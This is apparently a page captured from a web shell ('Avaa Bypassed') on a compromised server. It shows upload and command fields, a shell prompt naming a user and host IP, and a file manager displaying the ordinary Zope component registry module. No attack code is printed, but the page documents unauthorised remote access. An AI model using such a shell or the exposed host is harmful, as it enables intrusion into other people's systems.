404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.145.91.238: ~ $
##############################################################################
#
# Copyright (c) 2006 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL).  A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE.
#
##############################################################################
"""Basic components support
"""
# BBB, import component-related from zope.interface
from zope.interface.registry import Components
from zope.interface.registry import _getUtilityProvided
from zope.interface.registry import _getAdapterProvided
from zope.interface.registry import _getAdapterRequired
from zope.interface.registry import UtilityRegistration
from zope.interface.registry import AdapterRegistration
from zope.interface.registry import SubscriptionRegistration
from zope.interface.registry import HandlerRegistration

from zope.component._api import handle
from zope.component._declaration import adapter

from zope.component.interfaces import IAdapterRegistration
from zope.component.interfaces import IHandlerRegistration
from zope.component.interfaces import IRegistrationEvent
from zope.component.interfaces import ISubscriptionAdapterRegistration
from zope.component.interfaces import IUtilityRegistration

@adapter(IUtilityRegistration, IRegistrationEvent)
def dispatchUtilityRegistrationEvent(registration, event):
    handle(registration.component, event)

@adapter(IAdapterRegistration, IRegistrationEvent)
def dispatchAdapterRegistrationEvent(registration, event):
    handle(registration.factory, event)

@adapter(ISubscriptionAdapterRegistration, IRegistrationEvent)
def dispatchSubscriptionAdapterRegistrationEvent(registration, event):
    handle(registration.factory, event)

@adapter(IHandlerRegistration, IRegistrationEvent)
def dispatchHandlerRegistrationEvent(registration, event):
    handle(registration.handler, event)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
testfiles Folder 0755
tests Folder 0755
__init__.py File 2.68 KB 0644
_api.py File 8.83 KB 0644
_compat.py File 962 B 0644
_declaration.py File 1.87 KB 0644
configure.zcml File 444 B 0644
event.py File 1.2 KB 0644
eventtesting.py File 2.04 KB 0644
factory.py File 1.71 KB 0644
globalregistry.py File 2.67 KB 0644
hookable.py File 1.29 KB 0644
hooks.py File 4.18 KB 0644
interface.py File 4.25 KB 0644
interfaces.py File 16.28 KB 0644
meta.zcml File 1.12 KB 0644
persistentregistry.py File 2.05 KB 0644
registry.py File 2.14 KB 0644
security.py File 3.54 KB 0644
standalonetests.py File 1.18 KB 0644
testing.py File 1.23 KB 0644
testlayer.py File 4.09 KB 0644
zcml.py File 19.94 KB 0644